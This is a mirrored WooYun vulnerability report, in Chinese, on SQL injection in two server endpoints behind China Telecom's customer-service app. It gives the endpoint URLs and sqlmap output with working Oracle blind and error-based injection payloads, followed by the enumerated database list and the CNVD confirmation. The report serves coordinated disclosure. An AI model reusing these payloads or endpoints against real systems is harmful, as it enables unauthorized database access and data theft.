乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-04-05: 细节已通知厂商并且等待厂商处理中 2014-04-10: 厂商已经确认,细节仅向厂商公开 2014-04-20: 细节向核心白帽子及相关领域专家公开 2014-04-30: 细节向普通白帽子公开 2014-05-10: 细节向实习白帽子公开 2014-05-20: 细节向公众公开
中国电信某APP服务端SQL注射(*.189.com) 涉及多个数据库
这几个接口都存在于"天翼客服"app中,该app可从豌豆荚应用商店下载。
注射点1
http://content.kefu.189.cn:8005/public/sjkf/hotwords/searchPrompt?&appCode=003&hotWord=1&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android
其中hotWord参数存在SQL注射
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: hotWord Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: &appCode=003&hotWord=1%' AND 4434=4434 AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android Type: AND/OR time-based blind Title: Oracle AND time-based blind (heavy query) Payload: &appCode=003&hotWord=1%' AND 1637=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android---web application technology: JSPback-end DBMS: Oracleavailable databases [22]:[*] APEX_030200[*] APPQOSSYS[*] CTXSYS[*] DBSNMP[*] EMS2[*] EXFSYS[*] FANGLE[*] FLOWS_FILES[*] MDSYS[*] MOBILE_SERVICE[*] MOBILE_SERVICE_CONTENT[*] MOBILE_SERVICE_VM[*] OLAPSYS[*] ORDDATA[*] ORDSYS[*] OUTLN[*] OWBSYS[*] SYS[*] SYSMAN[*] SYSTEM[*] WMSYS[*] XDB
注射点2
http://content.kefu.189.cn:8005/public/sjkf/manualstype/MyPhone_InstructionManual?&deviceModel=sdk&deviceOS=android
deviceModel参数存在SQL注射
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: deviceModel Type: error-based Title: Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) Payload: &deviceModel=-7643') OR 4436=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(110)||CHR(110)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (4436=4436) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(104)||CHR(106)||CHR(111)||CHR(113)) AND ('Dmmf'='Dmmf&deviceOS=android Type: AND/OR time-based blind Title: Oracle OR time-based blind Payload: &deviceModel=-2289') OR 3440=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(108)||CHR(111)||CHR(113),5) AND ('WmXG'='WmXG&deviceOS=android---web application technology: JSPback-end DBMS: Oracleavailable databases [22]:[*] APEX_030200[*] APPQOSSYS[*] CTXSYS[*] DBSNMP[*] EMS2[*] EXFSYS[*] FANGLE[*] FLOWS_FILES[*] MDSYS[*] MOBILE_SERVICE[*] MOBILE_SERVICE_CONTENT[*] MOBILE_SERVICE_VM[*] OLAPSYS[*] ORDDATA[*] ORDSYS[*] OUTLN[*] OWBSYS[*] SYS[*] SYSMAN[*] SYSTEM[*] WMSYS[*] XDB
如上。数据太多 就不--count了
电信更专业
危害等级:高
漏洞Rank:12
确认时间:2014-04-10 08:54
CNVD确认并复现所述情况,已经转由CNCERT通报给中国电信集团公司处置。rank12
暂无